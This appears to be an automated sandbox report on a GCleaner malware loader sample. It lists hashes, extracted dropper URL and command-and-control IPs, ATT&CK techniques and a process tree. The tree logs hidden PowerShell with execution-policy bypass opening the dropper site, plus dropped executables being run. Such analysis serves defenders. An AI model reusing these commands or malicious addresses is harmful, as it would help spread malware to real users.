gcleaner | b4912f51ecd5dc4cb9c0380ca4486a1778189bd4e1a3a4e19a10c3593502dc0b

Analysis

max time kernel
299s
max time network
298s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
19/08/2026, 01:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Setup.exe
Size 5.7MB
Sample260819-cdkarsck61
SHA256 b4912f51ecd5dc4cb9c0380ca4486a1778189bd4e1a3a4e19a10c3593502dc0b
MD5 db9904b4b7c8738ae5e55b37cf3114a0
SHA1 fb9ee49d0ade020d8c148cc58c983e60b43eeeed
SHA512 754f765c29868cb0deb223dd6958a2644d00cc152ade22c92203dac028df556fb7885c7aa85ee1754101d9796e5969e10f1f75f0040a02dd7227ee6cbace031d
SSDEEP 98304:rKA5jPjGwJYtUCD4NqvMaIUaBbxMqsLOyOA07JFSJERQi1bkGt6AG:r9CYBNee7BTEOnJFSEBZkGA9
TLSH
T1DB562304AFA431BAF8719634CEB386E1EF313C56436095DB2BA069571EFB2D1CA27711
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution gcleaner loader

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://wappingerbicornshaps.com/s4r7aa2f7f74b7ac2ab0af7589004c3a8ef07971edb98

Extracted

Family

gcleaner

185.156.73.98
45.91.200.135

Signatures

Family: GCleaner
GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.
loader gcleaner

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4480	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-101591186-421676486-4137282292-1000\Control Panel\International\Geo\Nation	Setup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-101591186-421676486-4137282292-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 2 IoCs

pid	Process
1588	ae_mixtwo.exe
5740	file.exe

Loads dropped DLL 1 IoCs

pid	Process
3160	msedge.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
1184	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1588 set thread context of 2092	1588	ae_mixtwo.exe	104

Drops file in Windows directory 14 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3160_1325943519\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3160_1847345846\data.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3160_1847345846\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3160_2063281448\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3160_2063281448\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3160_1838839852\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3160_1838839852\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3160_1325943519\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3160_1325943519\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3160_479392445\domain_actions.dll	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3160_479392445\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3160_1838839852\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3160_1838839852\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3160_1325943519\keys.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
5984	1588	WerFault.exe	85

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ae_mixtwo.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3160	msedge.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4212	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134315783817019029"	msedge.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-101591186-421676486-4137282292-1000_Classes\Local Settings	Setup.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-101591186-421676486-4137282292-1000\{3FB2EFC9-FFF6-4A32-9816-BEB9EBFEF8FC}	msedge.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4480	powershell.exe
4480	powershell.exe
5112	msedge.exe
5112	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
3160	msedge.exe
3160	msedge.exe
3160	msedge.exe
3160	msedge.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4480	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3160	msedge.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 2020 wrote to memory of 1184	2020	Setup.exe	84
PID 2020 wrote to memory of 1588	2020	Setup.exe	85
PID 2020 wrote to memory of 5740	2020	Setup.exe	87
PID 1184 wrote to memory of 4480	1184	WScript.exe	88
PID 4480 wrote to memory of 3160	4480	powershell.exe	91
PID 3160 wrote to memory of 4120	3160	msedge.exe	92
PID 3160 wrote to memory of 2440	3160	msedge.exe	94
PID 3160 wrote to memory of 4212	3160	msedge.exe	95
PID 3160 wrote to memory of 2440	3160	msedge.exe	94
PID 3160 wrote to memory of 2440	3160	msedge.exe	94
PID 3160 wrote to memory of 5424	3160	msedge.exe	96
PID 3160 wrote to memory of 5424	3160	msedge.exe	96
PID 3160 wrote to memory of 4432	3160	msedge.exe	97
PID 3160 wrote to memory of 4432	3160	msedge.exe	97
PID 3160 wrote to memory of 4432	3160	msedge.exe	97
PID 3160 wrote to memory of 3788	3160	msedge.exe	98
PID 3160 wrote to memory of 3788	3160	msedge.exe	98
PID 3160 wrote to memory of 3788	3160	msedge.exe	98
PID 3160 wrote to memory of 1364	3160	msedge.exe	101
PID 3160 wrote to memory of 1364	3160	msedge.exe	101
PID 3160 wrote to memory of 1364	3160	msedge.exe	101
PID 3160 wrote to memory of 4424	3160	msedge.exe	102
PID 3160 wrote to memory of 4060	3160	msedge.exe	103
PID 3160 wrote to memory of 4424	3160	msedge.exe	102
PID 3160 wrote to memory of 4060	3160	msedge.exe	103
PID 1588 wrote to memory of 2092	1588	ae_mixtwo.exe	104
PID 1588 wrote to memory of 2092	1588	ae_mixtwo.exe	104
PID 1588 wrote to memory of 2092	1588	ae_mixtwo.exe	104
PID 1588 wrote to memory of 2092	1588	ae_mixtwo.exe	104
PID 1588 wrote to memory of 2092	1588	ae_mixtwo.exe	104
PID 1588 wrote to memory of 2092	1588	ae_mixtwo.exe	104
PID 1588 wrote to memory of 2092	1588	ae_mixtwo.exe	104
PID 3160 wrote to memory of 1816	3160	msedge.exe	106
PID 3160 wrote to memory of 4788	3160	msedge.exe	118
PID 3160 wrote to memory of 5624	3160	msedge.exe	119
PID 3160 wrote to memory of 4448	3160	msedge.exe	120
PID 3160 wrote to memory of 2816	3160	msedge.exe	122
PID 3160 wrote to memory of 2816	3160	msedge.exe	122
PID 3160 wrote to memory of 3108	3160	msedge.exe	124
PID 3160 wrote to memory of 3108	3160	msedge.exe	124
PID 3160 wrote to memory of 5112	3160	msedge.exe	125
PID 3160 wrote to memory of 1852	3160	msedge.exe	126
PID 3160 wrote to memory of 1852	3160	msedge.exe	126
PID 3160 wrote to memory of 5916	3160	msedge.exe	127
PID 3160 wrote to memory of 5916	3160	msedge.exe	127
PID 3160 wrote to memory of 4068	3160	msedge.exe	128
PID 3160 wrote to memory of 4068	3160	msedge.exe	128
PID 3160 wrote to memory of 3368	3160	msedge.exe	129
PID 3160 wrote to memory of 3368	3160	msedge.exe	129
PID 3160 wrote to memory of 4956	3160	msedge.exe	130
PID 3160 wrote to memory of 4956	3160	msedge.exe	130

C:\Users\Admin\AppData\Local\Temp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\Setup.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2020
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RunSilent.vbs"
  2⤵
  - Checks computer location settings
  - Executes a VBScript file via the Windows Script Host.
  - Suspicious use of WriteProcessMemory
  PID:1184
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\OpenLink.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4480
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://wappingerbicornshaps.com/s4r7aa2f7f74b7ac2ab0af7589004c3a8ef07971edb98
      4⤵
      Loads dropped DLL
      Drops file in Windows directory
      System Network Configuration Discovery: Internet Connection Discovery
      Checks processor information in registry
      Enumerates system info in registry
      Modifies data under HKEY_USERS
      Modifies registry class
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:3160
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2ec,0x2f0,0x2f4,0x2e8,0x374,0x7ffe6ddec188,0x7ffe6ddec194,0x7ffe6ddec1a0
        5⤵
        
        PID:4120
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1760,i,2000871501169920037,17146713755755606310,262144 --field-trial-handle=2288,i,10886757617262172634,9157159569764212630,262144 --variations-seed-version --mojo-platform-channel-handle=2284 /prefetch:2
        5⤵
        
        PID:2440
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1952,i,10789454580250373570,17931250566562474586,524288 --field-trial-handle=2288,i,10886757617262172634,9157159569764212630,262144 --variations-seed-version --mojo-platform-channel-handle=2448 /prefetch:3
        5⤵
        System Time Discovery
        
        PID:4212
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2504,i,4037301123592105747,16703427955986386272,524288 --field-trial-handle=2288,i,10886757617262172634,9157159569764212630,262144 --variations-seed-version --mojo-platform-channel-handle=2768 /prefetch:8
        5⤵
        
        PID:5424
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3400,i,15827708430090281535,11126467549081545217,2097152 --field-trial-handle=2288,i,10886757617262172634,9157159569764212630,262144 --variations-seed-version --mojo-platform-channel-handle=3440 /prefetch:1
        5⤵
        
        PID:4432
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3408,i,6563937154879309302,17066192318182111464,2097152 --field-trial-handle=2288,i,10886757617262172634,9157159569764212630,262144 --variations-seed-version --mojo-platform-channel-handle=3484 /prefetch:1
        5⤵
        
        PID:3788
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4888,i,5009300836221607522,6520729976464292512,2097152 --field-trial-handle=2288,i,10886757617262172634,9157159569764212630,262144 --variations-seed-version --mojo-platform-channel-handle=5020 /prefetch:1
        5⤵
        
        PID:1364
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3508,i,4161722992191879712,14626262892714470021,524288 --field-trial-handle=2288,i,10886757617262172634,9157159569764212630,262144 --variations-seed-version --mojo-platform-channel-handle=4804 /prefetch:8
        5⤵
        
        PID:4424
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3692,i,2558001479934389461,14760439676177457572,524288 --field-trial-handle=2288,i,10886757617262172634,9157159569764212630,262144 --variations-seed-version --mojo-platform-channel-handle=5204 /prefetch:8
        5⤵
        
        PID:4060
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5656,i,8106841289683385721,18291581072259765257,524288 --field-trial-handle=2288,i,10886757617262172634,9157159569764212630,262144 --variations-seed-version --mojo-platform-channel-handle=5528 /prefetch:8
        5⤵
        
        PID:2772
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5656,i,8106841289683385721,18291581072259765257,524288 --field-trial-handle=2288,i,10886757617262172634,9157159569764212630,262144 --variations-seed-version --mojo-platform-channel-handle=5528 /prefetch:8
        5⤵
        
        PID:1816
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6060,i,17762629820425515228,9689602380097104250,524288 --field-trial-handle=2288,i,10886757617262172634,9157159569764212630,262144 --variations-seed-version --mojo-platform-channel-handle=5744 /prefetch:8
        5⤵
        
        PID:4788
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6064,i,18129087579066533151,13547731954130650079,524288 --field-trial-handle=2288,i,10886757617262172634,9157159569764212630,262144 --variations-seed-version --mojo-platform-channel-handle=5712 /prefetch:8
        5⤵
        
        PID:5624
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6068,i,1430762462736008662,17341529070488415320,524288 --field-trial-handle=2288,i,10886757617262172634,9157159569764212630,262144 --variations-seed-version --mojo-platform-channel-handle=5988 /prefetch:8
        5⤵
        
        PID:4448
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3668,i,16236203808590555673,12694128874029084820,524288 --field-trial-handle=2288,i,10886757617262172634,9157159569764212630,262144 --variations-seed-version --mojo-platform-channel-handle=5412 /prefetch:8
        5⤵
        
        PID:2816
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5704,i,5907153141113145745,13002375239634773114,524288 --field-trial-handle=2288,i,10886757617262172634,9157159569764212630,262144 --variations-seed-version --mojo-platform-channel-handle=5688 /prefetch:8
        5⤵
        
        PID:3108
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5796,i,9547403710415292818,3188231144502857206,262144 --field-trial-handle=2288,i,10886757617262172634,9157159569764212630,262144 --variations-seed-version --mojo-platform-channel-handle=5704 /prefetch:8
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5112
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3508,i,14271684519084397345,10126692401187674299,524288 --field-trial-handle=2288,i,10886757617262172634,9157159569764212630,262144 --variations-seed-version --mojo-platform-channel-handle=5236 /prefetch:8
        5⤵
        
        PID:1852
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1360,i,6369605064450013904,1920269476102378712,524288 --field-trial-handle=2288,i,10886757617262172634,9157159569764212630,262144 --variations-seed-version --mojo-platform-channel-handle=1544 /prefetch:8
        5⤵
        
        PID:5916
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3132,i,5145283469231066901,13564489749177394397,524288 --field-trial-handle=2288,i,10886757617262172634,9157159569764212630,262144 --variations-seed-version --mojo-platform-channel-handle=4072 /prefetch:8
        5⤵
        
        PID:4068
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3628,i,2690380781873925251,16835762252149594236,524288 --field-trial-handle=2288,i,10886757617262172634,9157159569764212630,262144 --variations-seed-version --mojo-platform-channel-handle=4084 /prefetch:8
        5⤵
        
        PID:3368
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=876,i,4285892023775265552,157238911107769688,524288 --field-trial-handle=2288,i,10886757617262172634,9157159569764212630,262144 --variations-seed-version --mojo-platform-channel-handle=3704 /prefetch:8
        5⤵
        
        PID:4956
- C:\Users\Admin\AppData\Local\Temp\ae_mixtwo.exe
  "C:\Users\Admin\AppData\Local\Temp\ae_mixtwo.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1588
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2092
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1588 -s 980
    3⤵
    - Program crash
    PID:5984
- C:\Users\Admin\AppData\Local\Temp\file.exe
  "C:\Users\Admin\AppData\Local\Temp\file.exe"
  2⤵
  - Executes dropped EXE
  PID:5740

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4360

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 1588 -ip 1588
1⤵
PID:5832

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:4980

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 9e9b606cfbfc7b0fcbfab1ff9a90d94ddcf0c4033903cc47f13cbcd8bcac95cc
MD5 66bd1dbef8b4df50e7a09a2d2848fb79
SHA1 69983a576369225e69f3c4e38eef011e7e436249
SHA512 7f8546014287d3ced2b59766b273c8d8981aee3ef643630332615e594a89f92a95f1ce112c2fa889b0e249a10643792bfc57043bfc523d6ada97b8bc7d6e7d6c
TLSH
T17CD080776B0BF411E35D5131D503C75127BE507179625723F158C41D99B41D697C51C2
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 35cc5409a0e92c7b1f173401d1114c9d5fdc977752a8e45ce9068d8101c9a651
MD5 4177a98ec95c7b8511089a1be66e9e7b
SHA1 523d632928047252508b7d45169327ef4523179e
SHA512 d9e67625f1cfcaf9b90149a3ed0ce8899f43e93e14c729f7cf114adedf8a6a345c93240cebfa58351038924578a437d9d7144c7dcd826b1b8892dc523920e947
TLSH
T17AD08077670FF411E36D5131D503C75117AE547179625723F118C40D99741D693C51C2
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 3e76c8db5035fe75f081c39333802a64ccdd1693599cba9d0f3cf9d138bdee3b
MD5 9243fe36f3b6f801665d23e77b6761f8
SHA1 3b43aebf0cce39829aa880d097adab87dbe13ea3
SHA512 8866af94bc98beffeae5ce9ced62681faaa55656b75159354fdba6e23725acb5147629af01defc6a4a5d812071a358c01e4c6d5084be585f03bd27db0c999921
TLSH
T10EE0E5A9C921AC3708FC175D6469474AE604031A2A40891B3B3D90098FB663B169686C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 0f5ee42d6e79a1ecd2c81b61dfa508b869cda830a42ebd21051250f481f59835
MD5 bcfcab03e8285b09c105f3d06d97cfba
SHA1 083cd30ec1fdbe3d2a744b23535dcc8c658fcf65
SHA512 dc04a778b15a90729e84d86e5a88d6ea2a89b7f8fe0129c9682e413f37b6f85437cfdcc61bebcfba81111c956524ecee8343c0322971d5c6bb1821fde4333db0
TLSH
